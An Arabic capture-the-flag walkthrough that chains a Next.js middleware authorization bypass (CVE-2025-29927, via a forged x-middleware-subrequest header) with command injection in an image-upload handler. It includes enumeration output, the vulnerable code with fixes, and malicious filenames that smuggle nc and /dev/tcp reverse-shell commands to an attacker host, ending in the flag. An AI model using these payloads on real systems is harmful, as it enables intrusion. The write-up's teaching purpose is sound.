
تحدي Capture the Flag: CVE-2025-29927 بالاشتراك مع ثغرة حقن الأوامر
— — —
kali@kali:~$ nmap <TARGET_IP>
kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
— — —
kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
api (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
apis (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
cgi-bin/ (Status: 308) [Size: 8] [--> /cgi-bin]
dashboard (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
favicon.ico (Status: 200) [Size: 25931]
login (Status: 200) [Size: 6252]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
/dashboard تعيد التوجيه إلى /login. هل يمكنك العثور على أي معلومات في صفحة تسجيل الدخول تسمح لك بتجاوز إعادة التوجيه؟
— — —
x-middleware-subrequest. يستخدم Next.js هذا الرأس داخليًا لمنع حلقات middleware اللانهائية. عند معالجة طلب، تتحقق دالة runMiddleware من رؤوس الطلب:
x-middleware-subrequest موجودًا
const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
if (subrequests.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
}
continue;
}
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
باستخدام هذا الرأس، نخبر middleware: "هذا طلب تم إنشاؤه بالفعل بواسطة middleware - لا تنفذ middleware مرة أخرى."
x-middleware-subrequest من جميع الطلبات الخارجية الواردة قبل تشغيل middleware. يتم الوثوق بالرأس فقط عندما يتم إنشاؤه داخل بيئة تشغيل Next.js أثناء تسلسل middleware الشرعي.
بشكل ملموس، يتم الآن التحقق من قيمة x-middleware-subrequest مقابل سلسلة عشوائية سداسية عشرية، مما يضمن أن طلبات الجلسة الداخلية الشرعية فقط هي التي تجتاز فحوصات التفويض. لذلك حتى إذا أرسل مهاجم الرأس، يمكن لـ Next.js الآن التمييز بين طلب فرعي داخلي حقيقي (يحمل الرمز العشوائي الصحيح) وآخر مزيف من مهاجم خارجي.
— — —
const filename = file.name; // VULNERABLE: No sanitization!
const sanitizedFilename = filename.replace(/[><&|;$\\:"'!\*\?\#\/]/g, '_')
const filepath = join(uploadsDir, sanitizedFilename);
await writeFile(filepath, buffer);
const command = `convert ${filepath} -resize 100x100 ${join(uploadsDir, 'resized_' + filename)}`;
return new Promise((resolve) => {
exec(command, { shell: '/bin/bash', timeout: 0, maxBuffer: 1024*1024*10 }, (error, stdout, stderr) => {
...
اسم الملف الأصلي يتحكم به المستخدم ويمكن أن يحتوي على أحرف خبيثة. المطور يزيل بعض الأحرف الخطيرة (قائمة سوداء بدلاً من القائمة البيضاء). يتم تنفيذ أمر convert باستخدام exec()، ويتم إدراج اسم الملف الأصلي (إدخال المستخدم) مباشرة في أمر shell. أحد الإصلاحات يمكن أن يكون استخدام أسماء ملفات عشوائية بدلاً من أسماء ملفات المستخدم واستخدام API آمن يتجنب shell.
kali@kali:~$ nc -lvnp 4000
listening on [any] 4000 ...
أسماء ملفات خبيثة:
image.jpeg; nc -c sh <ATTACKER_IP> 4000 #
image.jpeg; sh -i >& /dev/tcp/<ATTACKER_IP>/4000 0>&1 #
kali@kali:~$ nc -lvnp 4000
listening on [any] 4000 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 48056
العلم موجود في /home/webuser:
FLAG{C0mmand_Inj3cti0n_Pwn3d_W3bUs3r}
rockyou.txt.gz بالأمر gzip -d /usr/share/wordlists/rockyou.txt.gz.
— — —